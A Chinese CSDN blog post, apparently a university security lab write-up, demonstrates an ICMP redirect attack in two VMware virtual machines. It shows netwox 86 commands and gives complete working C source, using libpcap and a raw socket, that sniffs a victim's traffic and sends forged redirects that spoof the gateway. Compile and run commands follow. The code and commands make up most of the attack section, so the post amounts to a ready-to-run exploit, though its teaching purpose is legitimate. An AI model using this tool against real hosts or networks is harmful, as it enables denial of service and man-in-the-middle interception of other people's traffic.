ICMP重定向攻击

最新推荐文章于 2024-05-12 23:06:52 发布
最新推荐文章于 2024-05-12 23:06:52 发布
阅读量6.6k 收藏 20
点赞数 4
分类专栏： 信息安全 文章标签： ICMP重定向 rawsocket编程
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_41605834/article/details/88783068
版权

ICMP重定向攻击

实验背景：

TCP/IP协议在设计之初仅考虑了成本和实现功能，并没有过多考虑安全因素。因此TCP/IP协议栈中提供了大量的起关键作用的信息和指令，但是这些信息和指令的执行缺乏认证机制，能够方便地伪造。由于历史原因，这些漏洞一直被保留，最多进行过简单的修补。通过TCP/IP协议栈的安全实验，可以加深TCP/IP协议的具体机制的理解。

实验原理：

ICMP重定向信息是路由器向主机提供实时的路由信息，当一个主机收到ICMP重定向信息时，它就会根据这个信息来更新自己的路由表。由于缺乏必要的合法性检查，如果一个黑客想要被攻击的主机修改它的路由表，黑客就会发送ICMP重定向信息给被攻击的主机，让该主机按照黑客的要求来修改路由表。
在VMware虚拟环境中（Virtual Box不同），.2是充当网关的默认地址（通过route命令可以查看当前的网关和路由信息）；所以攻击者可以冒充.2发出重定向包，通知受害者修改自己的网关为攻击者指定的gw地址；如果伪造的gw是自身，可以实现中间人攻击或者DOS攻击（没有启动IP转发功能）；如果是随意IP（不能到达或不负责转发），则可以导致DOS攻击。
关于VMWare组网的基本原理可以参考：http://blog.csdn.net/lionhunter2010/archive/2007/12/19/1954276.aspx

实验环境：

启动两台虚拟机，一台作为攻击者，一台作为被攻击者。

实验目标：

1. 体验ICMP重定向攻击的效果，加深对ICMP协议功能的理解。
2. 练习使用Raw Socket编程，学习构造包括包头部分的数据包。

实验步骤：

1. 使用netwox体会实验效果，使用netwox 86发送ICMP重定向包，

Netwox 86 –gw 192.168.137.220 –src-ip 192.168.137.2
其中-gw指定新的网关地址；–src-ip是当前网关地址；也即攻击者冒充当前网关.2通知受害者修改自己的网关IP。

启动wireshark，观察netwox发出的数据包：

  1. 通过wireshark抓包查看所发出的数据包的源IP是.2而不是攻击者真实的IP；
  2. 通过抓包，查看攻击数据包的结构

请注意，ICMP重定向报文除了ICMP包中的通用头部之外，还包括原始IP头部信息和数据报文的前8个字节。也即，在构造ICMP重定向包中，除了头部之外，还需要额外的28字节（在IP头部没有可选字段的情况下）
3) 另外，注意观察，netwox发出的ICMP重定向包的目的IP是受害者正通信的IP，也即，netwox先抓到受害者的数据包，根据捕获包的IP地址，再构造攻击包。

2. 在充分了解实验原理的基础上，自己使用raw socket，写出来一个icmp redirect包，达到使受害者不能正常上网的目的。

  1. 关于raw socket语法，可以使用man socket；man raw；man packet等查看细节，可以运行参考代码，并结合wireshark抓包查看代码生成的数据包。

  2. 原始套接字是一个特殊的套接字类型,但它的创建方式跟TCP/UDP创建方法几乎是一摸一样,例如,通过
    int sockfd;
    sockfd = socktet(AF_INET， SOCK_RAW， IPPROTO_ICMP);
    就可以创建一个原始套接字。 这种类型的原始套接字可以使用户自行生成IP数据包中的ICMP数据部分。

  3. IP头部和ICMP头部的数据结构可以参考头文件查看详细内容。（可以使用find或whereis等命令查找头文件的位置）。譬如，可以在/usr/include/netinet文件夹下找到ip.h等头文件。

  4. 本实验需要先抓包再发包，可以基于实验1中的抓包程序抓取受害者向外发送的数据包，获取其中的信息，基于该信息构造ICMP重定向包中的附加原始数据包的内容。

实验过程：

1 netwox

启动两台虚拟机，网络适配为NAT方式
攻击者：
在这里插入图片描述
目标主机：
在这里插入图片描述

目标主机接受ICMP重定向

需要以root身份修改：
echo “1” > /proc/sys/net/ipv4/conf/all/accept_redirects
在这里插入图片描述

关闭攻击者ip转发

echo “0” > /proc/sys/net/ipv4/ip_forward
在这里插入图片描述

用netwox86号功能进行测试

sudo netwox 86 -g 192.168.60.133 -i 192.168.60.2
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2 raw socket自己实现
源代码文件icmp_redirect.c
#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include<string.h> 
#include<sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h> 
#include <netinet/ip_icmp.h>
#include<unistd.h>


#define MAX 1024
#define SIZE_ETHERNET 14							//以太网帧首部长度

char *TARGET_IP,*REDIRECT_IP,*GW_IP;

//target_ip 要攻击的目标主机ip
//redirect_ip 重定向到一个新的ip
//gw_ip  网关ip
struct sockaddr_in target_ip, redirect_ip, gw_ip;

int flag = 0;


//ip首部
struct ip_header
{
#ifdef WORDS_BIGENDIAN  
	u_int8_t version : 4;
	u_int8_t header_length : 4;
#else  
	u_int8_t header_length : 4;						//首部长度
	u_int8_t version : 4;							//版本
#endif  
	u_int8_t tos;									//服务类型
	u_int16_t total_length;							//总长度
	u_int16_t id;									//标识
	u_int16_t frag_off;								//标志+分片偏移
	u_int8_t ttl;									//生存时间
	u_int8_t protocol;								//协议
	u_int16_t checksum;								//首部检查和
	struct in_addr source_address;					//源IP
	struct in_addr destination_address;				//目的IP
};

//icmp 重定向报文首部
struct icmp_header
{
	u_int8_t type;
	u_int8_t code;
	u_int16_t checksum;
	struct in_addr gateway_addr;					//目标路由ip
};



/*
计算校验和
buf：起始地址
len：以字节为单位的长度
*/
u_int16_t checksum(u_int8_t *buf, int len)
{
	u_int32_t sum = 0;
	u_int16_t *cbuf;

	cbuf = (u_int16_t *)buf;						

	while (len > 1)									//取16位的划分求和
	{
		sum += *cbuf++;
		len -= 2;
	}

	if (len)										//处理长度为奇时剩余的一字节
		sum += *(u_int8_t *)cbuf;

	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);

	return ~sum;
}



/*
构造并发送重定向报文，
data：侦听到的帧数据地址
*/
void icmp_redirect(int sockfd, const unsigned char *data, int datalen)
{
	struct sockaddr_in dest;									//发包的目的地址，即攻击的目标
	struct packet {
		struct ip_header iph;									//ip首部
		struct icmp_header icmph;								//icmp重定向报文首部
		char datas[28];											//重定向报文针对的原始ip首部及数据部分前28字节
	}packet;


	//填充ip头
	packet.iph.version = 4;
	packet.iph.header_length = 5;
	packet.iph.tos = 0;											//服务类型
	packet.iph.total_length = htons(56);						//20+8+28
	packet.iph.id = getpid();									//随便填的??
	packet.iph.frag_off = 0;
	packet.iph.ttl = 255;										//生存时间设为最大
	packet.iph.protocol = IPPROTO_ICMP;							//ICMP：1    (tcp：6，udp:17)
	packet.iph.checksum = 0;									//先填入0，在进行计算
	packet.iph.source_address = gw_ip.sin_addr;					//要伪造网关发送ip报文
	packet.iph.destination_address = target_ip.sin_addr;		//将伪造重定向包发给受害者

	//填充icmp首部
	packet.icmph.type = ICMP_REDIRECT;							//类型
	packet.icmph.code = ICMP_REDIR_HOST;						//代码
	packet.icmph.checksum = 0;
	packet.icmph.gateway_addr = redirect_ip.sin_addr;			//重定向到新的路由
	
	//从源数据包的内存地址的起始地址开始，拷贝28个字节到目标地址所指的起始位置中
	//memcpy可以复制任何类型，而strcpy只能复制字符串
	//data源数据包
	//SIZE_ETHERNET 14 帧首部长度
	memcpy(packet.datas, (data + SIZE_ETHERNET), 28);

	//ip检查和仅包含首部
	packet.iph.checksum = checksum((u_int8_t *)&packet.iph, sizeof(packet.iph));
	//ICMP检查和包含首部和数据部分
	packet.icmph.checksum = checksum((u_int8_t *)&packet.icmph, sizeof(packet.icmph) + 28);

	dest.sin_family = AF_INET;									//ip地址族
	dest.sin_addr = target_ip.sin_addr;							//目标ip

	//用于非可靠连接的数据数据发送，因为UDP方式未建立SOCKET连接，所以需要自己制定目的协议地址
	//sockfd:发送端套接字描述符
	//packet:待发送数据的缓冲区
	//待发送数据长度:IP头(20)+ICMP头(8)+IP首部(20)+IP前8字节
	//flag标志位，一般为0
	//dest:数据发送的目的地址
	//地址长度
	sendto(sockfd, &packet, 56, flag, (struct sockaddr *)&dest, sizeof(dest));

	printf("a redirect packet has been sent...\n\n");
}


/*
pcap_loop()不知道如何处理返回值，所以返回值为空
第一个参数是回调函数的最后一个参数，
第二个参数是pcap.h头文件定义的，包括数据包被嗅探的时间大小等信息，最后一个参数是一个u_char指针，
它包含被pcap_loop()嗅探到的所有包（一个包包含许多属性，它不止一个字符串，而是一个结构体的集合，
如一个tcp/ip包包含以太网头部，一个ip头部还有tcp头部，还有此包的有效载荷）这个u_char就是这些结构体的串联版本。
pcap嗅探包时正是用之前定义的这些结构体
*/
void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
	int sockfd, res;   
	int one = 1;
	int *ptr_one = &one;

	//可以接收协议类型为ICMP的发往本机的IP数据包（通信的域，iPv4,套接字通信的类型，原始套接字，套接字类型，接收ICMP-》IP）
	//sockfd：socket描述符，为了以后将socket与本机端口相连
	if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
	{
		printf("create sockfd error\n");
		exit(-1);
	}

	/**
	 设置sockfd套接字关联的选项
	 sockfd:指向一个打开的套接口描述字
	 IPPROTO_IP：指定选项代码的类型为IPV4套接口
	 IP_HDRINCL：详细代码名称（需要访问的选项名字）
	 ptr_one：一个指向变量的指针类型，指向选项要设置的新值的缓冲区
	 sizeof(one)：指针大小
	*/
	res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one));  
	if (res < 0)
	{
		printf("error--\n");
		exit(-3);
	}

	printf("detected a packet from the target...\n");
	//传入socket描述符，原始数据帧地址
	icmp_redirect(sockfd, packet, 0);		
}

//开启对目标主机的嗅探
int setup_sniffer(char *dev)
{
	char errbuf[PCAP_ERRBUF_SIZE];

	bpf_u_int32 mask;						//嗅探目标网络设备dev的掩码
	bpf_u_int32 net;						//目标网络设备dev的ip

	if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
		fprintf(stderr, "Can't get netmask for device %s\n", dev);
		net = 0;
		mask = 0;
	}

	//打开设备进行嗅探，返回一个pcap_t类型的指针，后面操作都要用到这个指针
	pcap_t * device = pcap_open_live(dev, 65535, 1, 0, errbuf);
	if (device == NULL) {
		fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
		return(2);
	}
	//获得数据包捕获描述字函数（设备名称，参与定义捕获数据的最大字节数，是否置于混杂模式，
	//设置超时时间0表示没有超时等待，errBuf是出错返回NULL时用于传递错误信息）

	struct bpf_program filter;
	char filterstr[50] = { 0 };
	//将目标ip拼接到过滤字符串中
	sprintf(filterstr, "src host %s", inet_ntoa(target_ip.sin_addr));        

	//编译表达式，函数返回-1为失败，返回其他值为成功
	//device:会话句柄
	//&filter:被编译的过滤器版本的地址的引用
	//filterstr:表达式本身,存储在规定的字符串格式里
	//1:表达式是否被优化的整形量：0：没有，1：有
	//net：应用此过滤器的网络掩码
	if (pcap_compile(device, &filter, filterstr, 1, net) == -1) {
		fprintf(stderr, "Couldn't parse filter %s: %s\n", filterstr, pcap_geterr(device));
		return(2);
	}
	
	//设置过滤器，使用这个过滤器
	pcap_setfilter(device, &filter);
	//device:会话句柄
	//&filterstr:被编译的表达式版本的引用

	printf("sniffing at %s ...\n\n", TARGET_IP);

	//device是之前返回的pacp_t类型的指针
	//-1代表循环抓包直到出错结束，>0表示循环x次，
	//最后一个参数一般之置为null
	pcap_loop(device, -1, getPacket, NULL);
	return 0;
}


int main(int argc, char * argv[])
{

	if (argc != 5) {
		printf("usage: %s target_ip redirect_ip gateway_ip sniff_dev \n", argv[0]);
		exit(1);
	}
	//inet_aton:将一个字符串IP地址转换为一个32位的网络序列IP地址
	if (inet_aton(argv[1], &target_ip.sin_addr) == 0) {
		printf("bad ip address %s\n", argv[1]);
		exit(1);
	}
	TARGET_IP = argv[1];

	if (inet_aton(argv[2], &redirect_ip.sin_addr) == 0) {
		printf("bad ip address %s\n", argv[2]);
		exit(1);
	}
	REDIRECT_IP = argv[2];

	if (inet_aton(argv[3], &gw_ip.sin_addr) == 0) {
		printf("bad ip address %s\n", argv[3]);
		exit(1);
	}
	GW_IP = argv[3];

	char * dev = argv[4];				

	printf("target:%s\n redirect:%s\n gw:%s\n dev:%s\n\n",TARGET_IP, REDIRECT_IP, GW_IP, dev);

	setup_sniffer(dev);
}
安装pcap开发库 sudo apt-get install libpcap-dev
编译 gcc -g -o icmpd icmp_redirect.c -lpcap
运行 ./icmpd 192.168.60.134 192.168.60.132 192.168.60.2 eth0

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

参考自学长@科比爱徒：
https://www.cnblogs.com/gejuncheng/p/7703604.html

你在桥上看风景
关注
  • 4
    点赞
  • 踩
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
实现ICMP重定向攻击
weixin_38885346的博客
12-28 1878
环境：攻击机Ubuntu 18 ，受攻击机Windows7 一、使用netwox体会实验效果，netwox发出的ICMP重定向包的目的IP是受害者的IP，也即，netwox先抓到受害者的数据包，根据捕获包的IP地址，再构造攻击包。 1.Ubuntu安装netwox sudo apt-get install netwox 2.用netwox做重定向攻击 netwox 86 -g 新的网关地址 -i 目标机当前使用的网关地址 3.在目标机上安装wireshark程序（参考网上），执行ping命令，并启动wi
ICMP重定向
Galdys的专栏
10-26 8920
ICMP重定向报文是ICMP控制报文中的一种。在特定的情况下，当路由器检测到一台机器使用非优化路由的时候，它会向该主机发送一个ICMP重定向报文，请求主机改变路由。路由器也会把初始数据报向它的目的地转发 ICMP应用分析－ICMP重定向     ICMP虽然不是路由协议，但是有时它也可以指导数据包的流向（使数据流向正确的网关）。ICMP协议通过ICMP重定向数据包（类型
关于限制ICMP回显（ICMP Echo Reply）及TTL超时响应（ICMP Time Exceeded）可防止简单的网络探测和减轻DDoS攻击对网络的影响
最新发布
weixin_73371940的博客
05-12 1548
从ICMP报文内容到利用ACL（Access Control List ，访问控制列表）限制ICMP回显（ICMP Echo Reply）及TTL超时响应（ICMP Time Exceeded）
ICMP和重定向攻击
weixin_30279315的博客
08-15 859
目录 ICMP数据报格式 smurf攻击 ICMP重定向攻击 基于libpcap的sniffer raw socket 定义包头 解析数据包 重定向 ICMP数据报格式 htt...
网络安全ICMP重定向攻击
木瓜有益健康的博客
03-28 4909
网络安全——ICMP重定向攻击网络命令网络工具——netwox 网络命令 网络不可用 $ ping ${域名} $ ping ${ip地址} $ ifconfig #lo：本地网卡；enss：朝外发包的网卡 $ ifconfig -a #对比上一条结果，查看哪个网卡未开启 $ route #route -n查看本机网络状况 $ netstat -lt #正在监听的tcp端口，-p显示进程号 $...
ARP欺骗及ICMP重定向攻击技术研究 (2008年)
05-26
ARP欺骗及ICMP重定向攻击是以太网中常用的攻击手段，两者都可达到监听网络或对目标主机进行拒绝服务攻击的效果。该文通过分析两者在实现方式、适用范围方面的不同，得出实施ICMP重定向攻击难度更大的结论。根据IP...
flushwifi:一个为OSX编写的简单脚本，用于重新启动所有网络接口，清除ARP缓存和刷新路由。 还包括MAC随机化和免受ICMP重定向攻击的保护
05-01
还增加了针对ICMP重定向攻击的保护，而OSX不会将其存储为永久设置，因此需要在每次启动时运行它： sysctl -w net.inet.icmp.drop_redirect=1需要使用Spoof-mac才能利用MAC欺骗功能。 在这里得到它： ###安装并运行...
网络技术附加培训内容-ICMP重定向介绍
06-08
例如，攻击者可能会通过伪造ICMP重定向报文，引导数据包流向攻击者控制的网络，实施中间人攻击。因此，一些网络设备和操作系统默认会限制或禁用ICMP重定向，以提高安全性。 **总结** ICMP重定向是网络通信中的一种...
icmp-ip 重定向.rar
07-25
利用这点可以进行网络攻击和窃听,如果目的主机A支持重定向,那么主机B发送一个ICMP重定向给它,以后它发送的所有到指定目的报文都转发到B,这样B就可以达到窃听的目的.不过WIN系统,它会对ICMP报文进行检测,如果这个...
ICMP重定向介绍，ICMP重定向介绍
08-17
ICMP重定向介绍ICMP重定向介绍ICMP重定向介绍
D-link路由器的常见攻击和对策
10-01
网络攻击手段多样，针对D-link路由器的攻击主要包括ICMP重定向欺骗、源路由欺骗、内部IP地址盗用以及Smurf攻击。了解并防范这些攻击对于保障网络环境的稳定和数据安全至关重要。 首先，**ICMP重定向欺骗**是一种...
RAW SOCKET实现ICMP重定向攻击
Zzxy
04-06 4042
实验记录
实验一:ICMP重定向攻击
chuxuezheerer的博客
10-09 5441
实验原理： ICMP重定向信息是路由器向主机提供实时的路由信息，当一个主机收到ICMP重定向信息时，它就会根据这个信息来更新自己的路由表。由于缺乏必要的合法性检查，如果一个黑客想要被攻击的主机修改它的路由表，黑客就会发送ICMP重定向信息给被攻击的主机，让该主机按照黑客的要求来修改路由表。 在VMware虚拟环境中（Virtual Box不同），.2是充当网关的默认地址（通过route命令可以查看当前的网关和路由信息）；所以攻击者可以冒充.2发出重定向包，通知受害者修改自己的网关为攻击者指定的gw地址；如果
信息安全-ICMP重定向攻击实现代码
Java硬件工程师的博客
12-27 1998
#include <stdio.h> #include <pcap.h> #include <time.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/in.h> #include <neti
预防ICMP重定向攻击
04-23
ICMP重定向攻击是一种利用网络控制协议（ICMP）的攻击方式，攻击者发送虚假的ICMP重定向消息来欺骗网络中的主机，导致其流量被重定向到攻击者指定的网站或者服务器。为了预防ICMP重定向攻击，可以采取以下措施： 1. 禁用ICMP重定向功能：在Linux系统中可以通过修改/proc/sys/net/ipv4/conf/all/accept_redirects文件或者在Windows系统中修改注册表来禁用ICMP重定向。 2. 使用VPN：通过使用VPN的加密通道来保证数据传输的安全，可以有效的预防ICMP重定向攻击。 3. 使用网络防火墙：在网络出入口设置防火墙，过滤伪造的ICMP重定向消息，防止其达到网络内部的主机。 4. 使用加密协议：使用HTTPS等加密协议，可以保证数据传输的安全性，有效地防止ICMP重定向攻击引起的数据泄露等安全问题。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值